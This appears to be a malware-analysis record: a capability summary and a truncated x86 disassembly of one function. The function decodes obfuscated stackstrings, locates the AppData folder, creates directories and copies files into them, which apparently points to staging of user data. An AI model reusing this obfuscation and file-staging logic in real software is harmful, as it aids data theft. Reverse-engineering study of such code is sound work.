Function at 0x43c8e0
Capabilities:
Contain obfuscated stackstrings
Copy file
Create directory
Get common file path
Inspect section memory permissions

Disassembly:
push ebp
mov ebp, esp
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x4fdce1
push eax
mov eax, 0x1038
mov dword fs:[0], esp
call fcn.004baa10
push esi
push edi
xor edi, edi
mov dword [ebp - 0x14], edi
mov dword [ebp - 0x1c], edi
mov dword [ebp - 0x28], edi
cmp byte [0x538b56], 0
mov al, byte [0x538b57]
mov byte [ebp - 0x30], al
mov al, byte [0x538b58]
mov byte [ebp - 0xf], al
mov al, byte [0x538b38]
mov byte [ebp - 0x15], al
je 0x43d10c
mov dword [ebp - 0x4f], 0x1a1e0c16
xor ecx, ecx
mov byte [ebp - 0x4b], 0
movzx eax, byte [ebp + ecx - 0x4f]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x4f], al
inc ecx
cmp ecx, 4
jb 0x43c941
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x4f]
mov edx, dword [0x538b9c]
lea esi, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x43c970
mov eax, closesocket
sub ecx, esi
sub eax, edx
cmp eax, ecx
jb 0x44141a
cmp dword [0x538ba0], 0x10
mov eax, 0x538b8c
push ecx
cmovae eax, dword [0x538b8c]
lea ecx, [ebp - 0x4f]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x20]
lea ecx, [ebp - 0x7cc]
call fcn.00467530
cmp dword [ebp - 0x7b8], 0x10
lea eax, [ebp - 0x7cc]
mov esi, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
cmovae eax, dword [ebp - 0x7cc]
push 0
push eax
mov dword [ebp - 0x14], 0x8000000
call esi
test eax, eax
je 0x43d0e4
mov byte [ebp - 0xe], 0
xor ecx, ecx
mov dword [ebp - 0x1c8], 0x26230c16
mov dword [ebp - 0x1c4], 0x2623102f
mov word [ebp - 0x1c0], 0x2b26
mov byte [ebp - 0x1be], 0
nop dword [eax]
movzx eax, byte [ebp + ecx - 0x1c8]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x1c8], al
inc ecx
cmp ecx, 0xa
jb 0x43ca10
lea eax, [ebp - 0x1c8]
push eax
lea edx, [ebp - 0x7cc]
lea ecx, [ebp - 0x8fc]
call fcn.004635e0
add esp, 4
mov byte [ebp - 4], 1
lea eax, [ebp - 0x8fc]
cmp dword [ebp - 0x8e8], 0x10
push 0
cmovae eax, dword [ebp - 0x8fc]
push eax
call esi
mov esi, dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
test eax, eax
je 0x43ccd8
push 0x104
lea eax, [ebp - 0xf40]
push 0
push eax
call fcn.004d1ee0
add esp, 0xc
lea eax, [ebp - 0xf40]
push eax
push 0
push 0
push 0x1a
push 0
call esi
mov dword [ebp - 0x158], 0x26230c16
xor ecx, ecx
mov dword [ebp - 0x154], 0x2623102f
mov word [ebp - 0x150], 0x2b26
mov byte [ebp - 0x14e], 0
nop
movzx eax, byte [ebp + ecx - 0x158]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x158], al
inc ecx
cmp ecx, 0xa
jb 0x43cac0
xorps xmm0, xmm0
mov dword [ebp - 0x578], 0
lea ecx, [ebp - 0x158]
mov dword [ebp - 0x574], 0
movups xmmword [ebp - 0x588], xmm0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x43cb02
sub ecx, edx
lea eax, [ebp - 0x158]
push ecx
push eax
lea ecx, [ebp - 0x588]
call fcn.00402aa0
mov byte [ebp - 4], 3
lea ecx, [ebp - 0xf40]
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x43cb30
sub ecx, edx
lea eax, [ebp - 0xf40]
push ecx
push eax
push ecx
lea ecx, [ebp - 0x588]
call fcn.00468490
mov dword [ebp - 0x368], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x378], xmm0
mov dword [ebp - 0x364], 0
movups xmm0, xmmword [eax]
mov dword [ebp - 0x1c], 0x80000
movups xmmword [ebp - 0x378], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x368], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 4
mov ecx, dword [ebp - 0x574]
cmp ecx, 0x10
jb 0x43cbd8
mov edx, dword [ebp - 0x588]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43cbce
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44141f
push ecx
push edx
call fcn.004b9cb1
add esp, 8
cmp dword [ebp - 0x364], 0x10
lea ecx, [ebp - 0x378]
mov dword [ebp - 0x578], 0
cmovae ecx, dword [ebp - 0x378]
mov dword [ebp - 0x574], 0xf
mov byte [ebp - 0x588], 0
call fcn.0040b930
test al, al
je 0x43cc5d
sub esp, 0x18
mov byte [ebp - 0xd], 0
lea eax, [ebp - 0x8fc]
mov dword [ebp - 0x20], esp
mov ecx, esp
push eax
call fcn.0045f3c0
mov byte [ebp - 4], 5
sub esp, 0x18
lea eax, [ebp - 0x378]
mov dword [ebp - 0x34], esp
mov ecx, esp
push eax
call fcn.0045f3c0
mov byte [ebp - 4], 6
mov byte [ebp - 4], 4
mov cl, byte [ebp - 0xd]
call fcn.0040e4e0
add esp, 0x30
test eax, eax
jne 0x43cc5d
mov byte [ebp - 0xe], 1
jmp 0x43cc6c
push ecx
lea ecx, [ebp - 0x8fc]
call fcn.0040b980
add esp, 4
mov edi, 0x80000
mov dword [ebp - 0x1c], edi
and edi, 0xfff7ffff
mov dword [ebp - 0x1c], edi
mov byte [ebp - 4], 1
mov ecx, dword [ebp - 0x364]
cmp ecx, 0x10
jb 0x43ccbb
mov edx, dword [ebp - 0x378]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43ccb1
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44141f
push ecx
push edx
call fcn.004b9cb1
add esp, 8
mov dword [ebp - 0x368], 0
mov dword [ebp - 0x364], 0xf
mov byte [ebp - 0x378], 0
jmp 0x43ccdb
mov edi, dword [ebp - 0x1c]
movaps xmm0, xmmword [0x525ea0]
xor ecx, ecx
movups xmmword [ebp - 0xb24], xmm0
nop dword [eax + eax]
movzx eax, byte [ebp + ecx - 0xb24]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0xb24], al
inc ecx
cmp ecx, 0xf
jb 0x43ccf0
lea eax, [ebp - 0xb24]
push eax
lea edx, [ebp - 0x7cc]
lea ecx, [ebp - 0x5b8]
call fcn.004635e0
add esp, 4
mov byte [ebp - 4], 7
lea eax, [ebp - 0x5b8]
cmp dword [ebp - 0x5a4], 0x10
push 0
cmovae eax, dword [ebp - 0x5b8]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x43d0b1
push 0x104
lea eax, [ebp - 0x1044]
push 0
push eax
call fcn.004d1ee0
add esp, 0xc
lea eax, [ebp - 0x1044]
push eax
push 0
push 0
push 0x1a
push 0
call esi
movaps xmm0, xmmword [0x526a40]
xor ecx, ecx
movups xmmword [ebp - 0x4c9], xmm0
mov dword [ebp - 0x4b9], 0x23242364
mov byte [ebp - 0x4b5], 0
nop word [eax + eax]
movzx eax, byte [ebp + ecx - 0x4c9]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x4c9], al
inc ecx
cmp ecx, 0x14
jb 0x43cda0
xorps xmm0, xmm0
mov dword [ebp - 0x590], 0
lea ecx, [ebp - 0x4c9]
mov dword [ebp - 0x58c], 0
movups xmmword [ebp - 0x5a0], xmm0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x43cde2
sub ecx, edx
lea eax, [ebp - 0x4c9]
push ecx
push eax
lea ecx, [ebp - 0x5a0]
call fcn.00402aa0
mov byte [ebp - 4], 9
lea ecx, [ebp - 0x1044]
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x43ce10
sub ecx, edx
lea eax, [ebp - 0x1044]
push ecx
push eax
push ecx
lea ecx, [ebp - 0x5a0]
call fcn.00468490
mov dword [ebp - 0x2fc], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x30c], xmm0
mov dword [ebp - 0x2f8], 0
or edi, 0x100000
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x30c], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x2fc], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov dword [ebp - 0x1c], edi
mov byte [ebp - 4], 0xa
mov ecx, dword [ebp - 0x58c]
cmp ecx, 0x10
jb 0x43ceba
mov edx, dword [ebp - 0x5a0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43ceb0
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44141f
push ecx
push edx
call fcn.004b9cb1
add esp, 8
cmp dword [ebp - 0x2f8], 0x10
lea edx, [ebp - 0x30c]
mov dword [ebp - 0x590], 0
xorps xmm0, xmm0
cmovae edx, dword [ebp - 0x30c]
sub esp, 0x18
mov esi, esp
mov dword [ebp - 0x58c], 0xf
mov byte [ebp - 0x5a0], 0
mov ecx, edx
mov dword [ebp - 0x20], esp
movups xmmword [esi], xmm0
mov dword [esi + 0x10], 0
lea edi, [ecx + 1]
mov dword [esi + 0x14], 0
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x43cf10
sub ecx, edi
push ecx
push edx
mov ecx, esi
call fcn.00402aa0
mov byte [ebp - 4], 0xb
mov byte [ebp - 4], 0xa
call fcn.0040b890
add esp, 0x18
test al, al
je 0x43d03d
mov dword [ebp - 0x186], 0x32293d16
xor ecx, ecx
mov dword [ebp - 0x182], 0x3a3e2c15
mov dword [ebp - 0x17e], 0x23242364
mov byte [ebp - 0x17a], 0
movzx eax, byte [ebp + ecx - 0x186]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x186], al
inc ecx
cmp ecx, 0xc
jb 0x43cf61
mov byte [ebp - 4], 0xc
lea ecx, [ebp - 0x186]
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x43cf90
sub ecx, edx
mov eax, closesocket
mov edx, dword [ebp - 0x5a8]
sub eax, edx
cmp eax, ecx
jb 0x44141a
cmp dword [ebp - 0x5a4], 0x10
lea eax, [ebp - 0x5b8]
push ecx
cmovae eax, dword [ebp - 0x5b8]
lea ecx, [ebp - 0x186]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x20]
lea ecx, [ebp - 0xc2c]
call fcn.00467530
mov edi, dword [ebp - 0x1c]
lea ecx, [ebp - 0xc2c]
or edi, 0x80000000
lea eax, [ebp - 0x30c]
mov dword [ebp - 0x1c], edi
cmp dword [ebp - 0xc18], 0x10
push 0
cmovae ecx, dword [ebp - 0xc2c]
cmp dword [ebp - 0x2f8], 0x10
push ecx
cmovae eax, dword [ebp - 0x30c]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
and edi, 0x7fffffff
mov esi, eax
mov dword [ebp - 0x1c], edi
mov byte [ebp - 4], 0xa
lea ecx, [ebp - 0xc2c]
call fcn.00402890
test esi, esi
je 0x43d040
mov byte [ebp - 0xe], 1
jmp 0x43d04f
mov edi, dword [ebp - 0x1c]
push ecx
lea ecx, [ebp - 0x5b8]
call fcn.0040b980
add esp, 4
and edi, 0xffefffff
mov dword [ebp - 0x1c], edi
mov byte [ebp - 4], 7
mov ecx, dword [ebp - 0x2f8]
cmp ecx, 0x10
jb 0x43d096
mov edx, dword [ebp - 0x30c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43d08c
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44141f
push ecx
push edx
call fcn.004b9cb1
add esp, 8
mov dword [ebp - 0x2fc], 0
mov dword [ebp - 0x2f8], 0xf
mov byte [ebp - 0x30c], 0
cmp byte [ebp - 0xe], 0
jne 0x43d0c6
push ecx
lea ecx, [ebp - 0x7cc]
call fcn.0040b980
add esp, 4
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x5b8]
call fcn.00402890
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x8fc]
call fcn.00402890
mov eax, 0x8000000
mov dword [ebp - 0x14], eax
and eax, 0xf7ffffff
mov dword [ebp - 0x14], eax
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x7cc]
call fcn.00402890
mov edi, dword [ebp - 0x14]
mov al, byte [ebp - 0x15]
test al, al
je 0x43f51a
mov dword [ebp - 0x83], 0x272b0d16
xor ecx, ecx
mov word [ebp - 0x7f], 0x392f
mov byte [ebp - 0x7d], 0
nop word [eax + eax]
movzx eax, byte [ebp + ecx - 0x83]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x83], al
inc ecx
cmp ecx, 6
jb 0x43d130
mov dword [ebp - 4], 0xd
lea ecx, [ebp - 0x83]
mov edx, dword [0x538b9c]
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x43d161
mov eax, closesocket
sub ecx, esi
sub eax, edx
cmp eax, ecx
jb 0x44141a
cmp dword [0x538ba0], 0x10
mov eax, 0x538b8c
push ecx
cmovae eax, dword [0x538b8c]
lea ecx, [ebp - 0x83]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x20]
lea ecx, [ebp - 0x3f4]
call fcn.00467530
or edi, 0x10000000
lea eax, [ebp - 0x3f4]
mov dword [ebp - 0x14], edi
cmp dword [ebp - 0x3e0], 0x10
mov esi, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
cmovae eax, dword [ebp - 0x3f4]
push 0
push eax
call esi
test eax, eax
je 0x43f4ff
mov byte [ebp - 0x38], 0
xor ecx, ecx
mov dword [ebp - 0x1d3], 0x25380d16
mov dword [ebp - 0x1cf], 0x3a253e3d
mov word [ebp - 0x1cb], 0x2b23
mov byte [ebp - 0x1c9], 0
nop
movzx eax, byte [ebp + ecx - 0x1d3]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x1d3], al
inc ecx
cmp ecx, 0xa
jb 0x43d200
lea eax, [ebp - 0x1d3]
push eax
lea edx, [ebp - 0x3f4]
lea ecx, [ebp - 0x6c0]
call fcn.004635e0
add esp, 4
mov byte [ebp - 4], 0xe
lea eax, [ebp - 0x6c0]
cmp dword [ebp - 0x6ac], 0x10
push 0
cmovae eax, dword [ebp - 0x6c0]
push eax
call esi
test eax, eax
je 0x43d53b
movaps xmm0, xmmword [0x526c90]
xor ecx, ecx
movups xmmword [ebp - 0x4dd], xmm0
mov dword [ebp - 0x4cd], 0x3e2b2e
nop word [eax + eax]
movzx eax, byte [ebp + ecx - 0x4dd]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x4dd], al
inc ecx
cmp ecx, 0x13
jb 0x43d280
xorps xmm0, xmm0
mov dword [ebp - 0x4e8], 0
lea ecx, [ebp - 0x4dd]
mov dword [ebp - 0x4e4], 0
movups xmmword [ebp - 0x4f8], xmm0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x43d2c2
sub ecx, edx
lea eax, [ebp - 0x4dd]
push ecx
push eax
lea ecx, [ebp - 0x4f8]
call fcn.00402aa0
mov byte [ebp - 4], 0xf
xor ecx, ecx
mov dword [ebp - 0x23e], 0xb090506
mov dword [ebp - 0x23a], 0x1a1a0b06
mov dword [ebp - 0x236], 0xb1e0b0e
mov byte [ebp - 0x232], 0
nop dword [eax]
movzx eax, byte [ebp + ecx - 0x23e]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x23e], al
inc ecx
cmp ecx, 0xc
jb 0x43d310
lea eax, [ebp - 0x23e]
push eax
call fcn.004de911
lea ecx, [ebp - 0x4f8]
mov edx, eax
push ecx
lea ecx, [ebp - 0x7e4]
call fcn.004637a0
add esp, 8
mov byte [ebp - 4], 0x11
mov ecx, dword [ebp - 0x4e4]
cmp ecx, 0x10
jb 0x43d38c
mov edx, dword [ebp - 0x4f8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43d382
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44141f
push ecx
push edx
call fcn.004b9cb1
add esp, 8
cmp dword [ebp - 0x7d0], 0x10
lea edx, [ebp - 0x7e4]
mov dword [ebp - 0x4e8], 0
xorps xmm0, xmm0
cmovae edx, dword [ebp - 0x7e4]
sub esp, 0x18
mov esi, esp
mov dword [ebp - 0x4e4], 0xf
mov ecx, edx
mov byte [ebp - 0x4f8], 0
mov dword [ebp - 0x20], esp
movups xmmword [esi], xmm0
lea eax, [ecx + 1]
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
mov dword [ebp - 0x2c], eax
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x43d3e0
sub ecx, dword [ebp - 0x2c]
push ecx
push edx
mov ecx, esi
call fcn.00402aa0
mov byte [ebp - 4], 0x12
mov byte [ebp - 4], 0x11
call fcn.0040b890
add esp, 0x18
test al, al
je 0x43d510
mov dword [ebp - 0xb3], 0x3c2b3916
xor ecx, ecx
mov dword [ebp - 0xaf], 0x2b2e642f
mov word [ebp - 0xab], 0x3e
nop word [eax + eax]
movzx eax, byte [ebp + ecx - 0xb3]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0xb3], al
inc ecx
cmp ecx, 9
jb 0x43d430
mov byte [ebp - 4], 0x13
lea ecx, [ebp - 0xb3]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x43d458
sub ecx, edx
mov eax, closesocket
mov edx, dword [ebp - 0x6b0]
sub eax, edx
cmp eax, ecx
jb 0x44141a
cmp dword [ebp - 0x6ac], 0x10
lea eax, [ebp - 0x6c0]
push ecx
cmovae eax, dword [ebp - 0x6c0]
lea ecx, [ebp - 0xb3]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x20]
lea ecx, [ebp - 0xc44]
call fcn.00467530
cmp dword [ebp - 0xc30], 0x10
lea ecx, [ebp - 0xc44]
push 0
cmovae ecx, dword [ebp - 0xc44]
lea eax, [ebp - 0x7e4]
cmp dword [ebp - 0x7d0], 0x10
push ecx
cmovae eax, dword [ebp - 0x7e4]
push eax
mov dword [ebp - 0x28], 1
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov esi, eax
mov eax, 1
mov dword [ebp - 0x28], eax
and eax, 0xfffffffe
mov dword [ebp - 0x28], eax
mov byte [ebp - 4], 0x11
lea ecx, [ebp - 0xc44]
call fcn.00402890
mov eax, dword [ebp - 0x38]
test esi, esi
movzx eax, al
mov ecx, 1
cmovne eax, ecx
mov dword [ebp - 0x38], eax
jmp 0x43d513
mov eax, dword [ebp - 0x38]
test al, al
jne 0x43d526
push ecx
lea ecx, [ebp - 0x6c0]
call fcn.0040b980
add esp, 4
mov byte [ebp - 4], 0xe
lea ecx, [ebp - 0x7e4]
call fcn.00402890
mov esi, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov dword [ebp - 0x1de], 0x24230716
xor ecx, ecx
mov dword [ebp - 0x1da], 0x2b38292f
mov word [ebp - 0x1d6], 0x3e2c
mov byte [ebp - 0x1d4], 0
movzx eax, byte [ebp + ecx - 0x1de]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x1de], al
inc ecx
cmp ecx, 0xa
jb 0x43d561
lea eax, [ebp - 0x1de]
push eax
lea edx, [ebp - 0x3f4]
lea ecx, [ebp - 0x2c4]
call fcn.004635e0
add esp, 4
mov byte [ebp - 4], 0x14
lea eax, [ebp - 0x2c4]
cmp dword [ebp - 0x2b0], 0x10
push 0
cmovae eax, dword [ebp - 0x2c4]
push eax
call esi
test eax, eax
je 0x43ddc0
movaps xmm0, xmmword [0x526320]
xor ecx, ecx
movups xmmword [ebp - 0x967], xmm0
mov byte [ebp - 0xe], 0
movaps xmm0, xmmword [0x526980]
movups xmmword [ebp - 0x957], xmm0
mov word [ebp - 0x947], 0x2425
mov byte [ebp - 0x945], 0
nop
movzx eax, byte [ebp + ecx - 0x967]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x967], al
inc ecx
cmp ecx, 0x22
jb 0x43d5f0
xorps xmm0, xmm0
mov dword [ebp - 0x560], 0
lea ecx, [ebp - 0x967]
mov dword [ebp - 0x55c], 0
movups xmmword [ebp - 0x570], xmm0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x43d632
sub ecx, edx
lea eax, [ebp - 0x967]
push ecx
push eax
lea ecx, [ebp - 0x570]
call fcn.00402aa0
mov byte [ebp - 4], 0x15
xor ecx, ecx
mov dword [ebp - 0x145], 0xe1a1a0b
mov dword [ebp - 0x141], 0xb1e0b
nop dword [eax + eax]
movzx eax, byte [ebp + ecx - 0x145]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x145], al
inc ecx
cmp ecx, 7
jb 0x43d670
lea eax, [ebp - 0x145]
push eax
call fcn.004de911
lea ecx, [ebp - 0x570]
mov edx, eax
push ecx
lea ecx, [ebp - 0x82c]
call fcn.004637a0
add esp, 8
mov byte [ebp - 4], 0x17
mov ecx, dword [ebp - 0x55c]
cmp ecx, 0x10
jb 0x43d6ec
mov edx, dword [ebp - 0x570]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43d6e2
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44141f
push ecx
push edx
call fcn.004b9cb1
add esp, 8
cmp dword [ebp - 0x818], 0x10
lea edx, [ebp - 0x82c]
mov dword [ebp - 0x560], 0
xorps xmm0, xmm0
cmovae edx, dword [ebp - 0x82c]
sub esp, 0x18
mov esi, esp
mov dword [ebp - 0x55c], 0xf
mov ecx, edx
mov byte [ebp - 0x570], 0
mov dword [ebp - 0x20], esp
movups xmmword [esi], xmm0
lea eax, [ecx + 1]
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
mov dword [ebp - 0x2c], eax
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x43d740
sub ecx, dword [ebp - 0x2c]
push ecx
push edx
mov ecx, esi
call fcn.00402aa0
mov byte [ebp - 4], 0x18
mov byte [ebp - 4], 0x17
call fcn.0040b890
add esp, 0x18
test al, al
je 0x43d85a
movaps xmm0, xmmword [0x526300]
xor ecx, ecx
movups xmmword [ebp - 0x40c], xmm0
mov dword [ebp - 0x3fc], 0x2064393e
mov dword [ebp - 0x3f8], 0x242539
nop
movzx eax, byte [ebp + ecx - 0x40c]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x40c], al
inc ecx
cmp ecx, 0x17
jb 0x43d790
mov byte [ebp - 4], 0x19
lea ecx, [ebp - 0x40c]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x43d7b8
sub ecx, edx
mov eax, closesocket
mov edx, dword [ebp - 0x2b4]
sub eax, edx
cmp eax, ecx
jb 0x44141a
cmp dword [ebp - 0x2b0], 0x10
lea eax, [ebp - 0x2c4]
push ecx
cmovae eax, dword [ebp - 0x2c4]
lea ecx, [ebp - 0x40c]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x20]
lea ecx, [ebp - 0xc5c]
call fcn.00467530
or dword [ebp - 0x28], 2
lea ecx, [ebp - 0xc5c]
cmp dword [ebp - 0xc48], 0x10
lea eax, [ebp - 0x82c]
push 0
cmovae ecx, dword [ebp - 0xc5c]
cmp dword [ebp - 0x818], 0x10
push ecx
cmovae eax, dword [ebp - 0x82c]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
and dword [ebp - 0x28], 0xfffffffd
mov esi, eax
mov byte [ebp - 4], 0x17
lea ecx, [ebp - 0xc5c]
call fcn.00402890
test esi, esi
je 0x43d85a
mov byte [ebp - 0xe], 1
mov byte [ebp - 0x38], 1
movaps xmm0, xmmword [0x526320]
xor ecx, ecx
movups xmmword [ebp - 0x789], xmm0
mov dword [ebp - 0x769], 0x39262b23
movaps xmm0, xmmword [0x526b10]
movups xmmword [ebp - 0x779], xmm0
mov dword [ebp - 0x765], 0x24232864
mov byte [ebp - 0x761], 0
nop dword [eax]
nop word [eax + eax]
movzx eax, byte [ebp + ecx - 0x789]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x789], al
inc ecx
cmp ecx, 0x28
jb 0x43d8a0
xorps xmm0, xmm0
mov dword [ebp - 0x5d8], 0
lea ecx, [ebp - 0x789]
mov dword [ebp - 0x5d4], 0
movups xmmword [ebp - 0x5e8], xmm0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x43d8e2
sub ecx, edx
lea eax, [ebp - 0x789]
push ecx
push eax
lea ecx, [ebp - 0x5e8]
call fcn.00402aa0
mov byte [ebp - 4], 0x1a
xor ecx, ecx
mov dword [ebp - 0x14d], 0xe1a1a0b
mov dword [ebp - 0x149], 0xb1e0b
nop dword [eax + eax]
movzx eax, byte [ebp + ecx - 0x14d]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x14d], al
inc ecx
cmp ecx, 7
jb 0x43d920
lea eax, [ebp - 0x14d]
push eax
call fcn.004de911
lea ecx, [ebp - 0x5e8]
mov edx, eax
push ecx
lea ecx, [ebp - 0x814]
call fcn.004637a0
add esp, 8
mov byte [ebp - 4], 0x1c
mov ecx, dword [ebp - 0x5d4]
cmp ecx, 0x10
jb 0x43d99c
mov edx, dword [ebp - 0x5e8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43d992
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44141f
push ecx
push edx
call fcn.004b9cb1
add esp, 8
cmp dword [ebp - 0x800], 0x10
lea edx, [ebp - 0x814]
mov dword [ebp - 0x5d8], 0
xorps xmm0, xmm0
cmovae edx, dword [ebp - 0x814]
sub esp, 0x18
mov esi, esp
mov dword [ebp - 0x5d4], 0xf
mov ecx, edx
mov byte [ebp - 0x5e8], 0
mov dword [ebp - 0x20], esp
movups xmmword [esi], xmm0
lea eax, [ecx + 1]
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
mov dword [ebp - 0x2c], eax
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x43d9f0
sub ecx, dword [ebp - 0x2c]
push ecx
push edx
mov ecx, esi
call fcn.00402aa0
mov byte [ebp - 4], 0x1d
mov byte [ebp - 4], 0x1c
call fcn.0040b890
add esp, 0x18
test al, al
je 0x43db22
movaps xmm0, xmmword [0x526910]
xor ecx, ecx
movups xmmword [ebp - 0x342], xmm0
mov dword [ebp - 0x332], 0x242f2e2f
mov dword [ebp - 0x32e], 0x262b233e
mov dword [ebp - 0x32a], 0x23286439
mov word [ebp - 0x326], 0x24
movzx eax, byte [ebp + ecx - 0x342]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x342], al
inc ecx
cmp ecx, 0x1d
jb 0x43da52
mov byte [ebp - 4], 0x1e
lea ecx, [ebp - 0x342]
lea edx, [ecx + 1]
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x43da80
sub ecx, edx
mov eax, closesocket
mov edx, dword [ebp - 0x2b4]
sub eax, edx
cmp eax, ecx
jb 0x44141a
cmp dword [ebp - 0x2b0], 0x10
lea eax, [ebp - 0x2c4]
push ecx
cmovae eax, dword [ebp - 0x2c4]
lea ecx, [ebp - 0x342]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x20]
lea ecx, [ebp - 0xc74]
call fcn.00467530
or dword [ebp - 0x28], 8
lea ecx, [ebp - 0xc74]
cmp dword [ebp - 0xc60], 0x10
lea eax, [ebp - 0x814]
push 0
cmovae ecx, dword [ebp - 0xc74]
cmp dword [ebp - 0x800], 0x10
push ecx
cmovae eax, dword [ebp - 0x814]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
and dword [ebp - 0x28], 0xfffffff7
mov esi, eax
mov byte [ebp - 4], 0x1c
lea ecx, [ebp - 0xc74]
call fcn.00402890
test esi, esi
je 0x43db22
mov byte [ebp - 0xe], 1
mov byte [ebp - 0x38], 1
movaps xmm0, xmmword [0x526320]
xor ecx, ecx
movups xmmword [ebp - 0x98a], xmm0
mov word [ebp - 0x96a], 0x2425
movaps xmm0, xmmword [0x526970]
movups xmmword [ebp - 0x97a], xmm0
mov byte [ebp - 0x968], 0
movzx eax, byte [ebp + ecx - 0x98a]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x98a], al
inc ecx
cmp ecx, 0x22
jb 0x43db50
xorps xmm0, xmm0
mov dword [ebp - 0xb2c], 0
lea ecx, [ebp - 0x98a]
mov dword [ebp - 0xb28], 0
movups xmmword [ebp - 0xb3c], xmm0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x43db92
sub ecx, edx
lea eax, [ebp - 0x98a]
push ecx
push eax
lea ecx, [ebp - 0xb3c]
call fcn.00402aa0
mov byte [ebp - 4], 0x1f
xor ecx, ecx
mov dword [ebp - 0xc5], 0xe1a1a0b
mov dword [ebp - 0xc1], 0xb1e0b
nop dword [eax + eax]
movzx eax, byte [ebp + ecx - 0xc5]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0xc5], al
inc ecx
